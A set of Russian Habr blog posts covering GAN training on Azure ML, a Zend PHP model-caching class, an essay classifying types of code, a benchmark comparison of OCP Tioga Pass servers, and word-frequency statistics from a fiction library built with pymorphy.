Когда мы успешно запустим эксперимент и немного подождем, мы должны увидеть сгенерированные образцы изображений на страничке нашего эксперимента в [Azure ML Portal](http://ml.azure.com/?WT.mc_id=aiapril-blog-dmitryso):
Запускаем много экспериментов
-----------------------------
После первого запуска обучения GAN мы можем получить не слишком хороший результат, по нескольким причинам. Во-первых, важное значение играет learning rate: слишком большое значение может привести к плачевным результатам, а слишком маленькое — к очень длительному обучению. Для подбора оптимальных гиперпараметров нам возможно придётся запустить несколько экспериментов.
Имеет смысл поэкспериментировать со следующими параметрами:
* `--size` определяет размер картинки, и он должен быть степенью двойки. Небольшие размеры (64 или 128) позволяют проводить относительно быстрые эксперименты, в то время как размер побольше (до 1024) позволяют получить более детализированное изображение. Всё что больше 1024 скорее всего не даст хороших результатов, и для этого обычно используют специальные приёмы, например [progressive growing](https://arxiv.org/abs/1710.10196)
* `--learning_rate` приобретает особо важное значение на высоких разрешениях. Меньшее значение даёт лучшие результаты, но ценой роста времени на обучение.
* `--dateset`. Мы можем загрузить картинки, соответствующие различным стилям, в различные папки в Azure ML datastore, и запустить на обучение сразу несколько параллельных экспериментов.
Поскольку мы уже умеем запускать эксперименты программно, должно быть несложно обернуть код для запуска в один или несколько циклов `for`, для перебора возможных параметров. Затем можно вручную проверить на портале какие эксперименты дают плохие результаты, и остановить их для снижения расходов. Использование кластера из нескольких виртуалок позволяет нам запустить сразу несколько экспериментов.
Получаем результаты эксперимента
--------------------------------
После получения достаточно симпатичных изображений, вы скорее всего заходите использовать созданные картинки, либо загрузить обученные файлы моделей. В ходе обучения наш скрипт сохраняет модели в папку `outputs/models`, а сгенерированные примеры изображений — в `outputs/samples`. Содержимое этих папок можно посмотреть и загрузить через Azure ML Portal вручную:
Можно также сделать это программно, особенно если вы хотите скачать *все* изображения, сгенерированные на всех эпохах обучения. Переменная `run`, полученная в процессе запуска эксперимента, даёт нам доступ ко всем файлам, сохранённым вместе с экспериментом (а точнее с данным конкретным запуском эксперимента):
```
run.download_files(prefix='outputs/samples')
```
Такая команда создаст в текущей директории папку `outputs/samples`, и скачает туда все файлы из удалённой директории с тем же именем.
Если значение переменной `run` потерялось или изменилось (это часто случается, поскольку большинство экспериментов выполняются долго), вы можете всегда восстановить его, зная *run id*, который в свою очередь можно посмотреть на портале:
```
run = Run(experiment=exp,run_id='KeraGAN_1584082108_356cf603')
```
Также имеет смысл скачать сами модели. Например, давайте скачаем финальную модель генератора, которая может быть использована для генерации новых и новых художественных шедевров. Для этого получим список всех связанных с экспериментом файлов, и отфильтруем названия моделей генератора (они начинаются с `gen_`):
```
fnames = run.get_file_names()
fnames = filter(lambda x : x.startswith('outputs/models/gen_'),fnames)
```
Эти имен будут иметь такой вид: `outputs/models/gen_0.h5`, `outputs/models/gen_100.h5` и т.д. Найдём максимальный номер эпохи и скачаем файл с соответствующим именем:
```
no = max(map(lambda x: int(x[19:x.find('.')]), fnames))
fname = 'outputs/models/gen_{}.h5'.format(no)
fname_wout_path = fname[fname.rfind('/')+1:]
run.download_file(fname)
```
При этом файл модели скачается в текущую директорию, и имя файла останется в переменной `fname_wout_path`.
Генерируем новые изображения
----------------------------
Получив модель, мы можем просто загрузить её в Keras, извлечь из неё размерность входного вектора, после чего, подавая на вход случайные вектора нужной размерности, генерировать изображения в нужном количестве:
```
model = keras.models.load_model(fname_wout_path)
latent_dim=model.layers[0].input.shape[1].value
res = model.predict(np.random.normal(0,1,(10,latent_dim)))
```
Напомню, что выход генератора находится в диапазоне [-1,1], и его необходимо привести к диапазону [0,1], чтобы корректно отобразить результат в `matplotlib`:
```
res = (res+1.0)/2
fig,ax = plt.subplots(1,10,figsize=(15,10))
for i in range(10):
ax[i].imshow(res[i])
```
Вот пример результата работы сети:
А вот несколько лучших картинок, сгенерированных такой сетью:
| Colourful Spring | Countryside |
| --- | --- |
| *Colourful Spring*, 2020 | *Countryside*, 2020 |
| Summer Landscape | Summer Landscape |
| *Through the Icy Glass*, 2020 | *Summer Landscape*, 2020 |
> Чтобы каждый (или почти каждый) день получать свежие картины, нарисованные нейросетью — подпишитесь на инстаграм [@art\_of\_artificial](http://instagram.com/art_of_artificial), который мы специально для этого создали с моей дочерью.
Процесс обучения сети
---------------------
Также очень интересно посмотреть на то, как генеративно-состязательная сеть постепенно учится. Я исследовал процесс того, как сеть учится рисовать, в моей серии экспонатов [искусство искусственного](/art/artofartificial). Вот пара видео, которые демонстрируют процесс в динамике:
| | |
| --- | --- |
| | |
Пища для размышлений
--------------------
В этой заметке я кратко описал принципы работы генеративно-состязательных сетей, и как можно обучать такие сети в службе машинного обучения Azure. Это открывает много возможностей для экспериментов, но также и даёт пищу для рамышлений. В процессе экспериментов, мы — а точнее искусственный интеллект — создали оригинальные художественные работы. Можно ли считать их **искусством**? Об этом я поговорю в одном из своих следующих постов...
Благодарности
-------------
При создании библиотеки [keragan](https://github.com/shwars/keragan), я во многом вдохновлялся [этой статьёй](https://towardsdatascience.com/generating-modern-arts-using-generative-adversarial-network-gan-on-spell-39f67f83c7b4), а также [реализацией DCGAN](https://github.com/Maximellerbach/Car-DCGAN-Keras), сделанной Maxime Ellerbach, а также проектом [GANGogh](https://github.com/rkjones4/GANGogh). Много различных архитектур GAN на базе Keras также приведены [здесь](https://github.com/eriklindernoren/Keras-GAN).
Другие заметки из серии про Azure ML
------------------------------------
* [Лучший способ начать использовать Azure ML](https://habr.com/ru/company/microsoft/blog/485338/)
* [Используем Azure ML для оптимизации гиперпараметров](http://soshnikov.com/azure/using-azureml-for-hyperparameter-optimization-ru/)
* **Тренируем генеративно-состязательную сеть для рисования картин на Azure ML** (этот пост) | https://habr.com/ru/post/496340/ | null | ru | null |
# Кэшируем модели
Совсем недавно стала задача организовать кэширование данных. И получилась весьма удобная вещь. Реализацию смотри под хабракатом…
Описанный ниже абстрактный класс кладем к нашим моделям в папку Cache. В моём случае это /Default/Models/Cache/Abstract.php
```
abstract class Default_Models_Cache_Abstract
{
protected static $_cache;
protected static $_staticCache;
protected static $_tags = null;
protected static $_className = null;
protected static $_nonCachedMethods = array();
protected static $_frontendName;
protected static $_backendName;
protected static $_frontendOptions = array();
protected static $_backendOptions = array();
public function __construct()
{
static::$_cache = null;
static::$_staticCache = null;
static::_init();
}
public function __call($name, $arguments)
{
return static::_call($name, $arguments);
}
public static function __callStatic($name, $arguments)
{
return static::_call($name, $arguments, true);
}
protected static function _call($name, $arguments, $useStatic = false)
{
static::_init($useStatic);
$cache = $useStatic ? static::$_staticCache : static::$_cache;
if (in_array($name, static::$_nonCachedMethods)) {
return call_user_func_array(array($cache, $name), $arguments);
}
$id = $cache->makeId($name, $arguments);
if (!($result = $cache->load($id))) {
$result = $cache->__call($name, $arguments);
$cache->save($result, $id, static::$_tags);
}
return $result;
}
protected static function _initConfig()
{
static $inited = null;
if (null === $inited) {
if (null === static::$_className) {
throw new Exception("You must provide a `protected static"
. " \$_className = ...;` statement in your class!");
}
static::$_backendName = 'File';
static::$_frontendName = 'class';
static::$_frontendOptions = array();
static::$_backendOptions = array();
$inited = true;
}
}
protected static function _init($useStatic = false)
{
$ref = null;
if ($useStatic && null === static::$_staticCache) {
$ref = static::$_className;
} elseif (null === static::$_cache) {
if (!class_exists(static::$_className)) {
require_once 'Zend/Loader.php';
Zend_Loader::loadClass(static::$_className);
}
$ref = new static::$_className;
}
if (null !== $ref) {
static::_initConfig();
static::$_tags = array(static::$_className);
static::$_frontendOptions['cached_entity'] = $ref;
if (!empty(static::$_nonCachedMethods)) {
static::$_frontendOptions['non_cached_methods']
= is_array(static::$_nonCachedMethods)
? static::$_nonCachedMethods
: array(static::$_nonCachedMethods);
}
$cache = Zend_Cache::factory(
static::$_frontendName,
static::$_backendName,
static::$_frontendOptions,
static::$_backendOptions
);
if ($useStatic) {
static::$_staticCache = $cache;
} else {
static::$_cache = $cache;
}
}
}
public function cleanCache()
{
$ids = static::$_cache->getIdsMatchingTags();
foreach($ids as $id) {
static::$_cache->remove($id);
}
static::$_cache->clean(Zend_Cache::CLEANING_MODE_MATCHING_TAG, static::$_tags);
}
}
```
Для работы необходимо иметь рабочую модель, например Default\_Models\_Products.
В папке Cache, относительно файла нашей модели, создаем класс Default\_Models\_Cache\_Products со следующими свойствами $\_className и $\_nonCachedMethods:
```
class Default_Models_Cache_Products extends Default_Models_Cache_Abstract
{
protected static $_className = 'Default_Models_Products';
protected static $_nonCachedMethods = array('addProduct');
}
```
В $\_className указываем имя кэшируемого класса. $\_nonCachedMethods не обязательное свойство, в нем мы перечисляем те методы, которые нам кэшировать не нужно.
Все обращения к классу Default\_Models\_Products заменим на Default\_Models\_Cache\_Products, работаем с ним также как и с Default\_Models\_Products.
Например, в нашей моделе реализован метод getList.
```
class Default_Models_Products
{
...
public function getList()
{
...
return $list;
}
...
}
```
Получить данные мы можем следующим образом:
```
$productsModel = new Default_Models_Cache_Products();
$productList = $productsModel->getList();
```
Реализована также возможность вызова статических методов. Если метод getList является статическим:
```
class Default_Models_Products
{
...
public static function getList()
{
...
return $list;
}
...
}
```
вызвать его можно будет так:
```
$productList = Default_Models_Cache_Products::getList();
```
Для очистки кэша реализован метод cleanCache(), при его вызове будет произведена очистка кэша, относящегося только к данной моделе, что может оказаться весьма полезным.
Про задание параметров $\_frontendOptions и $\_backendOptions можно почитать [тут](http://framework.zend.com/manual/en/zend.cache.frontends.html) и [тут](http://framework.zend.com/manual/en/zend.cache.backends.html)
Получившийся класс весьма универсален и подойдет не только для моделей.
**P.S.** Уточнение. Спасибо Виктору(Yeah) за подсказку, этот класс **не будет работать** в версии php ниже 5.3. Поскольку магический метод \_\_callStatic() появился именно с этой версией php. | https://habr.com/ru/post/127418/ | null | ru | null |
# О классификации кода
#### О, коде
Когда я пишу код, мне нравится отдавать себе отчёт о том, что именно я делаю.
Например, код, который пишется за одну ночь для демы завтра утром сильно отличается от кода, который станет основным API системы.
В этом посте я бы хотел рассказать о разных типах кода и дать несколько советов, которые помогают мне и ночью перед демой, и при дизайне больших API.
#### Код «для себя»
Это код, который решает одну задачу один раз в жизни. Это может быть, например, решением «задачки на смекалку», или вызовом какой-нибудь сложной функции, чтобы посмотреть, «как работает», или скриптом, избавляющемся от каждой третьей точки в файле, или «Hello, world!» на новом языке.
Поскольку время жизни таких программ не больше пары дней, писать их очень просто: не надо волноваться о читабельности, комментариях, проверке входных данных, юнит-тестах и т. п.
Этот код никогда не должен появляться в системе управления версиями. Более того, я предпочитаю не показывать этот код другим разработчикам.
#### Код прототипа
Это код, который должен реализовать минимальную функциональность какой-нибудь новой фичи. Это может быть практически всем, чем угодно: и пробной интеграцией с другим продуктом, и принципиально новой функциональностью, и новой фичей существующего продукта. Зачастую реализацию прототипа надо закончить в короткие сроки.
Написать хороший прототип в срок довольно сложно. Я выработал следующие правила разработки такого кода: во-первых, код должен быть читаемым. Осмысленные имена переменных, классов и функций, стандарты кодирования и т. п. Во-вторых, комментарии должны быть хотя бы возле наиболее сложных участков. В-третьих, если сроки поджимают, то можно обойтись только самыми основными юнит-тестами и практически не заботиться о проверке выходных данных. Всё это можно добавить, когда прототип станет полновесной частью системы.
Есть ещё одно важное правило. Если для работы прототипа необходимо поменять старый код, изменение должно иметь комментарий. Хотя изменение может быть очевидно в момент написания прототипа, через несколько месяцев будет очень сложно понять, что же хотелось сделать. Особенно если прототип пришлось выкинуть.
#### Основной код
Это код самой системы. То, что релизится, то что тестирует QA, то, что видят пользователи.
Про то, как создавать этот код пишут книжки. Моя любимая – книга МакКоннела [Code Complete](http://cc2e.com/).
Я не буду останавливаться на общих правилах создания основного кода. Однако, я бы хотел выделить четыре категории основного кода.
##### API
Это та часть компонента, которой будут пользоваться остальные. Мне очень нравится, когда каждый член команы разработчиков создаёт свой компонент и предоставляет остальным API для использования.
Понятно, что все методы и классы API должны иметь самую лучшую документацию, самые дотошные проверки данных, самые читабельные юнит-тесты.
Ну и, конечно, сам API должен должен быть удобным в использовании. Рекомендую презентацию Блоха [How to Design a Good API and Why it Matters](http://www.scribd.com/doc/33655/How-to-Design-a-Good-API-and-Why-it-Matters).
##### Точка интеграции
Если я разрабатываю компонент вместе с коллегой, то точки интеграции – это те части кода, которые должен поменять коллега, чтобы интегрировать свои изменения. Самый частый комментарий в таких местах: `"//TODO: Your code here"`.
Точки интеграции должны обладать неплохой документацией (может, не такой дотошной как API). Более того, должно быть понятно, как именно интегрировать свою часть компонента. Иногда помогает пример.
Мне кажется, что очень важно выделять точки интеграции в отдельные классы (или файлы). Во-первых, этот код довольно часто меняется, во-вторых в нём всегда много ошибок, в-третьих при дальнейшей разработке все конфликты (в смысле системы управления версиями) возникают именно в этих точках.
Более того, если вашему коллеге потребовалось изменить какую-либо часть компонента вне точки интеграции, то скорее всего что-то не так архитектурой (компонент слишком сильно связан внутри себя).
##### Точка роста
Это часть компонента, которая наверняка будет пополняться новыми фичами. Например, это код, который создаёт контекстное меню. По мере роста системы контекстное меню будет, скорее всего, увеличиваться. Другой пример: системы доставки контента. Хотя изначально может поддерживаться лишь одна, скорее всего в будущем нужно будет добавить ещё несколько.
Ясно, что для таких точек используются шаблоны [factory method](http://en.wikipedia.org/wiki/Factory_method_pattern) и [abstract factory](http://en.wikipedia.org/wiki/Abstract_factory_pattern).
На первый взгляд эти части кода мало отличаются от точек интеграции. Однако, если интеграцию внутри компонента обычно проводят один раз те два человека, которые части писали, расширять компонент могут неоднократно разные люди. Поэтому я стараюсь относиться к точкам роста скорее как к API: дотошная документация, проверки входных данных, обилие примеров.
Я специально выделил точки роста в отдельную категорию. Очень важно понять рано, что данный кусочек кода является точкой роста. Если этот момент пропустить, то каждое следующее дополнение будет добавлять новые хаки. Если в класса (или файле) больше 2000 строчек, то это, скорее всего, запущенная точка расширения.
Более того, именно в этих точках зачастую появляются зависимости от других компонентов. Это ещё один аргумент в пользу выделения точек роста в отдельный класс (или файл).
##### Остальной код
А это всё остальное. Про этот тип кода написано много статей. Я стараюсь писать этот код так, чтобы через полгода мне было приятно его читать.
#### Заключение
Мне кажется, что очень важно отдавать себе отчёт о том, какой именно код сейчас пишешь. Это и ускоряет процесс разработки, и делает код лучше.
Какие ещё типы кода стоит выделить? Может, стоит добавить какие-нибудь советы? | https://habr.com/ru/post/84479/ | null | ru | null |
# Большая битва серверов: 'Made in Russia' vs. 'Made in Taiwan'
По стране полным ходом шагает импортозамещение, и всё чаще мы видим тестирование различных устройств, произведенных в России. При этом, производители обычно стыдливо обходят вопрос сравнения их продуктов с зарубежными аналогами. В серверном оборудовании ситуация еще более странная - в реестре российских серверов несколько десятков моделей, но найти их подробное описание или сравнение очень сложно.
Мы решили переломить эту тенденцию и сделали не просто детальный обзор нашего сервера GAGAR>IN Tioga Pass, но и сравнили его с его тайваньскими аналогами. Благо, стандарт OCP, по которому производятся эти серверы, подразумевает открытость спецификаций и совместимость различных систем.
Участники тестов
----------------
Для сравнительного тестирования мы взяли три системы выполненные по одной и той же спецификации «[Open Compute Project Facebook 2S Server Tioga Pass Rev 1.1](https://www.opencompute.org/contributions?query=Tioga%20Pass%20v1.1)»:
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **Модель** | **Форм-фактор** | **CPU** | **Чипсет** | **RAM** | **Слоты расширения** | **Диски** | **BMC** |
| [Гагар.ИН Tioga Pass HEPB.466216.007](https://gagar-in.com/ru/cart1) | OCP 2OU 3Node | 2 x Intel Xeon Scalable Processor SkyLake/Cascade Lake | Intel C621 | 12 DDR4 DIMM, до 933MT/s | 2 x PCIe v3 x16 HHHL слота, 1 x OCP Mezz слот (PCIe v3 x16) | 4 х SAS/SATA, 1 x M.2 NVMe карта | Aspeed AST2500 |
| [MiTAC Tioga Pass E7278 Standard (E7278-S)](https://www.mitacmct.com/OCPserver_E7278_E7278-S) | OCP 2OU 3Node | 2 x Intel Xeon Scalable Processor SkyLake/Cascade Lake | Intel C621 | 16 DDR4 DIMM, до 933MT/s | 2 x PCIe v3 x16 FHHL слота, 1 x OCP Mezz слот PCIe v3 x16 | 1 x 3.5" HDD Bays, 1 x M.2 SAS/NVMe карта | Aspeed AST2500 |
| [Wiwynn Tioga Pass SV7220G3-S](https://www.wiwynn.com/products/21-inch/sv7220g3-s/) | OCP 2OU 3Node | 2 x Intel Xeon Scalable Processor SkyLake/Cascade Lake | Intel C621 | 12 DDR4 DIMM, до 933MT/s | 2 x PCIe v3 x16 FHHL слота, 1 x OCP Mezz слот PCIe v3 x16 | 1 x 3.5" SAS/ SATA, HDD 1 x M.2 NVMe карта | Aspeed AST2500 |
Чтобы понять различия между самими платформами и убрать различия в комплектации, мы использовали один комплект CPU, памяти, диска и переставляли этот набор между системами. Вот этот набор:
* Два процессора Cascade Lake Scalable второго поколения [Intel Xeon Gold 6230R](https://ark.intel.com/content/www/us/en/ark/products/199346/intel-xeon-gold-6230r-processor-35-75m-cache-2-10-ghz.html) (26 cores, 2.10/4.00 GHz base/boost , 35.75 MB, 150W TDP)
* 12 планок памяти SAMSUNG [M393A2K40CB2-CVF](https://www.samsung.com/semiconductor/dram/module/M393A2K40CB2-CVF/) DDR4 RDIMM 16GB 2933
* Диск INTEL [SSDSC2KB24](https://ark.intel.com/content/www/us/en/ark/products/66250/intel-ssd-520-series-240gb-2-5in-sata-6gb-s-25nm-mlc.html) 520 series 240G SSD SATA NAND Flash Memory (MLC)
На всех системах мы обновили UEFI и микрокод BMC контроллера и сбросили все настройки на дефолтные.
На диск была установлена операционная система CentOS v7 и выполнено полное обновление до последних версий (yum update), сервисы типа cups, postfix, colord были выключены при помощи systemctl stop и затем disable, что бы не мешались. Графика X-windows была остановлена и запрещена. На систему были скачаны утилиты Geekbench и Sysbench.
Тесты Geekbench v5
------------------
* Сервер [GAGAR>IN Tioga Pass Single Side/HEPB.466216.007](https://browser.geekbench.com/v5/cpu/7448602) (ссылка на результаты)
* Сервер [MiTAC Tioga Pass E7278-S (Standard)](https://browser.geekbench.com/v5/cpu/7447575)
* Сервер [Wiwynn Tioga Pass SV7220G3](https://browser.geekbench.com/v5/cpu/7446985)
Что есть тест Geekbench v5Тест Geekbench
--------------
Кроссплатформенный тест Geekbench развивается разработчиками примерно с 2010 года и измеряет производительность процессора, памяти, системы ввода/вывода (за исключением дисков) при выполнении набора операций, таких как работа приложений и вычислений алгоритмов машинного обучения. С его помощью можно достоверно измерить и сравнивать производительность любого компьютера, в том числе производительность виртуального или физического сервера.
За точку отсчета 1000 условных единиц производительности, берется производительность одного ядра современного процессора, по состоянию на момент выхода мажорной версии теста. Для актуальной на 2021 год версии 5 теста, это настольный процессор Intel Core i3-8100 (3.6 GHz 4 cores).
Тест завоевал популярность за счёт большой онлайн базы результатов, зафиксированных рядовыми пользователями со всех возможных моделей CPU и любых мыслимых конфигураций, в том числе и серверных. Это дает возможность оперативно сопоставить производительность любой x86 платформы и экзотического CPU с понятными имеющимися в «под рукой» ориентирами. В online-базе Geekbench энтузиасты много раз находили тесты еще не выпущенных официально процессоров Intel и AMD, что подтверждает востребованность инструментария даже производителями процессоров.
Выполняемые во время теста задачи [описаны в документе](https://www.geekbench.com/doc/geekbench5-cpu-workloads.pdf).
Тесты памяти Sysbench
---------------------
Тест Sysbench провели для того, что бы оценить производительность работы с памятью.
**GAGAR>IN Tioga Pass /HEPB.466216.007**
```
[root@otk-lab ~]# sysbench --test=memory run
WARNING: the --test option is deprecated. You can pass a script name or path on the command line without any options.
sysbench 1.0.20 (using bundled LuaJIT 2.1.0-beta2)
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Running memory speed test with the following options:
block size: 1KiB
total size: 102400MiB
operation: write
scope: global
Initializing worker threads...
Threads started!
Total operations: 62570283 (6253910.19 per second)
61103.79 MiB transferred (6107.33 MiB/sec)
General statistics:
total time: 10.0001s
total number of events: 62570283
Latency (ms):
min: 0.00
avg: 0.00
max: 0.06
95th percentile: 0.00
sum: 4359.80
Threads fairness:
events (avg/stddev): 62570283.0000/0.00
execution time (avg/stddev): 4.3598/0.00
```
**Тесты памяти Sysbench**
```
[root@otk-lab ~]# sysbench --test=memory run
WARNING: the --test option is deprecated. You can pass a script name or path on the command line without any options.
sysbench 1.0.20 (using bundled LuaJIT 2.1.0-beta2)
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Running memory speed test with the following options:
block size: 1KiB
total size: 102400MiB
operation: write
scope: global
Initializing worker threads...
Threads started!
Total operations: 60412001 (6038162.80 per second)
58996.09 MiB transferred (5896.64 MiB/sec)
General statistics:
total time: 10.0001s
total number of events: 60412001
Latency (ms):
min: 0.00
avg: 0.00
max: 0.07
95th percentile: 0.00
sum: 4361.04
Threads fairness:
events (avg/stddev): 60412001.0000/0.00
execution time (avg/stddev): 4.3610/0.00
```
**Wiwynn Tioga Pass SV7220G3**
```
[root@otk-lab ~]# sysbench --test=memory run
WARNING: the --test option is deprecated. You can pass a script name or path on the command line without any options.
sysbench 1.0.20 (using bundled LuaJIT 2.1.0-beta2)
Running the test with following options:
Number of threads: 1
Initializing random number generator from current time
Running memory speed test with the following options:
block size: 1KiB
total size: 102400MiB
operation: write
scope: global
Initializing worker threads...
Threads started!
Total operations: 62565560 (6253426.17 per second)
61099.18 MiB transferred (6106.86 MiB/sec)
General statistics:
total time: 10.0001s
total number of events: 62565560
Latency (ms):
min: 0.00
avg: 0.00
max: 0.02
95th percentile: 0.00
sum: 4359.26
Threads fairness:
events (avg/stddev): 62565560.0000/0.00
execution time (avg/stddev): 4.3593/0.00
```
Результаты и выводы
-------------------
Сводные результаты тестов 3х серверов Tioga Pass привожу в таблице:
| | | | |
| --- | --- | --- | --- |
| **Система** | **Geekbench v5 Single-Core Score** | **Geekbench v5 Multi-Core Score** | **Memory transfer rate MiB/sec** |
| GAGAR>IN Tioga Pass HEPB.466216.007 | 1 095 | 31 308 | 6 107,33 |
| MiTAC E7278-S (Standard) | 873 | 29 564 | 5 896,64 |
| Wiwynn SV7220G3 | 1 078 | 31 114 | 6 106,86 |
Результаты, показанные сервером GAGAR>IN Tioga Pass, порадовали и вселили гордость за наше детище. Более того, после детального анализа найденных в базе Geekbench v5 [шестидесяти результатов](https://browser.geekbench.com/v5/cpu/search?page=1&q=Intel+Xeon+Gold+6230R+&utf8=%E2%9C%93) по процессору Intel Xeon Gold 6230R, оказалось, что GAGAR>IN Tioga Pass HEPB.466216.007 превосходит по показателям их всех.
Сервер GAGAR>IN Tioga Pass /HEPB.466216.007 разработан и произведен нами в России. Для сомневающихся скептиков напишу конкретнее:
* разработка всей электроники, встроенного ПО, механики проводилась нами самостоятельно на основе открытых референсов сообщества Open Compute и купленных исходников BIOS;
* все компоненты закупались напрямую у вендоров и их дистрибуторов, часть (небольшая) комплектующих российские;
* в России спаяны основная "материнская" плата, платы райзера, бэкплейна, и даже крохотная платочка светодиодов;
* корпус сервера собран в России;
* финальная сборка и тестирование, само собой, тоже сделаны у нас.
Благодаря этому сервер и процесс производства прошли аудит и были включены в реестр российской промышленной продукции соответствующей требованиям постановления правительства № 719 «О подтверждении производства промышленной продукции на территории РФ»под номером [4772\1\2020](https://gisp.gov.ru/pp719/p/118265/product/2416778/writeout/). | https://habr.com/ru/post/552832/ | null | ru | null |
# Наиболее часто встречающаяся структура предложений в русском языке по версии библиотеки Флибуста
Я программист php, но захотел расширить горизонты, узнать что ни будь новое. Поэтому решил поучить другие языки и технологии. Выбор пал пока на perl, python и mysql.
Был взят замечательный пакет [pymorphy](http://pymorphy.readthedocs.org) , библиотека [Флибуста](http://flibusta.net/) (только .fb2), [sedna](http://sedna.org) для хранения fb2, mysql [percona](http://percona.com) 5.1 для хранения статистики и маленький напильник. Была создана примитивная myisam табличка куда записывалась сколько встречалось предложение, и описание частей речи этого предложения.
По описанию сделал уникальный текстовый индекс, а по числовому полю индекс сделать забыл (думал не пригодится).
Fb2 с флибустры поместил в базу [sedna](http://sedna.org), получилось база где то в 90 GB.
Первым этапом я собрал все уникальные слова, встречающие в библиотеке. Получилось примерно 14 миллионов слов. Это были как уникальные слова, так и их формы, и прочий мусор.
Опытным путем было выявлено, что pymorphy в режиме pickle на инициализацию тратит довольно много времени, и просто его дергать из php через shell будет очень долго. Так как python я только начал изучать, а для получения части речи нужно было использовать pymorphy, то я принял решение последний запустить как сервер. Это сняло проблему долгой инициализации, и вот что примерно получилось:
> `#!/usr/bin/env python
>
>
> # -\*- coding: utf-8 -\*-
>
>
> from pymorphy import get_morph
>
>
> import re,sys,socket,pprint,json,chardet,ConfigParser
>
>
>
>
>
> def do_word(data):
>
>
> if(data == False or data == ''): print "error incoming data !!!"
>
>
> tmpWord = re.sub(r"rn",'',data)
>
>
> word = tmpWord.decode('utf-8').upper()
>
>
> if(DEBUG == 1): print word
>
>
> info = morph._decline(word)
>
>
> if(DEBUG == 1): pprint.pprint(info)
>
>
> sjSon = json.dumps(info)
>
>
> return sjSon
>
>
>
>
>
> config = ConfigParser.ConfigParser()
>
>
> config.read('pymorphy\_conf.ini')
>
>
> DEBUG = config.getint('decline','DEBUG')
>
>
> HOST = config.get('decline','HOST')
>
>
> PORT = config.getint('decline','PORT')
>
>
>
>
>
> morph = get_morph("/pymorphy/dicts/converted/ru/morphs.pickle",'pickle')
>
>
>
>
>
> srv = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM)
>
>
> srv.bind((HOST,PORT))
>
>
> while 1:
>
>
> if(DEBUG == 1): print "Слушаю порт ",PORT
>
>
> srv.listen(1)
>
>
> sock,addr = srv.accept()
>
>
> while 1:
>
>
> pal = sock.recv(1024)
>
>
> if not pal:
>
>
> break
>
>
> lap = do_word(pal)
>
>
> sock.send(lap)
>
>
> sock.close()`
>
>
После чего обращаясь к этому импровизированному серверу проставил части речи для ранее найденных слов. Все это было сделано за вечер, и не вызвало особых затруднений.
После чего осталось самое простое – собрать статистику. Собирал я ее 2 месяца, после чего надоело. Что стало узким местом сказать трудно. Поиск части речи слова ~ 0.0046 sec, остальные операции тоже вменяемые, коль просто слова получилось быстро собрать. Sedna тоже на прошлых этапах была протестирована, и конечно не летала, но слова ж с нее получилось собрать за пару часов, следовательно ее производительности было достаточно что бы и статистику по предложениям собрать.
В итоге получились следующие данные:
И т.д.
**дополнено**
По словам ( это данные не только Флибусты, тут еще чуток других текстов намешано)
| | | | |
| --- | --- | --- | --- |
| TOP | 1500 и
меньше | 150 и
меньше | 15 и меньше |
| нет | 60300 | подоконник | 1500 | гитлеровцев | 150 | Эйх | 15 |
| я | 53847 | деревянный | 1500 | покривил | 150 | Лантер | 15 |
| да | 50813 | сбросил | 1499 | Юре | 150 | Бутовсан | 15 |
| что | 48819 | именами | 1499 | загробной | 150 | иксайтов | 15 |
| так | 45926 | росла | 1499 | ларьков | 150 | трагги | 15 |
| все | 44672 | высоком | 1499 | Аллу | 150 | Аткаль | 15 |
| это | 42825 | ГЛУБОКАЯ | 1499 | баранам | 150 | Юмми | 15 |
| он | 42154 | активно | 1499 | переложила | 150 | моллюскором | 15 |
| ты | 38073 | чудес | 1498 | лазеров | 150 | медвяны | 15 |
| меня | 35976 | Объясните | 1498 | транспортёра | 150 | хронохирургов | 15 |
| а | 35900 | прозвучало | 1498 | брюнетки | 150 | Ивашуры | 15 |
| его | 35394 | ворвался | 1498 | школьницы | 150 | хроноускорителя | 15 |
| как | 34347 | фигурой | 1498 | ворам | 150 | осцилляций | 15 |
| мне | 34078 | ночей | 1498 | разведчикам | 150 | пентарха | 15 |
| и | 33836 | ПРОИЗВЕДЕНИЯ | 1498 | физиологических | 150 | Горшиным | 15 |
| она | 31373 | окей | 1498 | поэтической | 150 | роиды | 15 |
| хорошо | 30932 | недовольство | 1498 | задрали | 150 | маршалессы | 15 |
| вы | 30738 | баксов | 1497 | цилиндров | 150 | эвменарх | 15 |
| здесь | 29969 | звонила | 1497 | тройное | 150 | эвменарха | 15 |
| есть | 29579 | повернула | 1497 | дебатов | 150 | хроноген | 15 |
| было | 29297 | рванул | 1497 | минимумом | 150 | Ковалях | 15 |
| но | 29009 | шампанское | 1497 | характеристикой | 150 | Ягья | 15 |
| там | 28955 | бомба | 1497 | налете | 150 | энергоинформационные | 15 |
| ну | 28612 | требовала | 1496 | конторки | 150 | консортлинию | 15 |
| ничего | 28605 | размышлений | 1496 | сослан | 150 | эфанализа | 15 |
| дело | 27653 | восторгом | 1496 | генетических | 150 | псисферы | 15 |
| же | 26973 | осмотреть | 1496 | летия | 150 | форинг | 15 |
| вот | 26898 | дошла | 1495 | старенькой | 150 | рефлезианцев | 15 |
| еще | 26640 | источников | 1495 | пустыря | 150 | рефлезианцы | 15 |
| ее | 26556 | обратилась | 1495 | луковицу | 150 | слэйеры | 15 |
| человек | 26415 | приподнялся | 1495 | генератором | 150 | Левиков | 15 |
| сейчас | 26408 | вытянул | 1495 | простенькое | 150 | Гленке | 15 |
| надо | 25657 | серая | 1495 | обертки | 150 | Ирраши | 15 |
| конечно | 25568 | несчастью | 1494 | аппетитные | 150 | камра | 15 |
| почему | 25216 | разглядывал | 1494 | повернуло | 150 | Арварохе | 15 |
| может | 25012 | поразительно | 1494 | табличками | 150 | Уандук | 15 |
| мы | 24847 | дяди | 1493 | подслушивания | 150 | шефатташе | 15 |
| ЗНАЮ | 24843 | проверки | 1493 | тараканами | 150 | Тархановым | 15 |
| они | 24070 | приглашения | 1493 | скудную | 150 | гнорр | 15 |
| тебя | 23922 | тяжелыми | 1493 | просеки | 150 | Орнумхониоров | 15 |
| в | 23600 | вмешаться | 1493 | небывалым | 150 | Ганфалы | 15 |
| время | 23598 | уверенный | 1493 | намеченному | 150 | Гамелинам | 15 |
| их | 22956 | видал | 1493 | прибылей | 150 | Урайном | 15 |
| вас | 22780 | продолжения | 1492 | питая | 150 | Эллата | 15 |
| то | 22730 | возразила | 1492 | комментируя | 150 | Урайну | 15 |
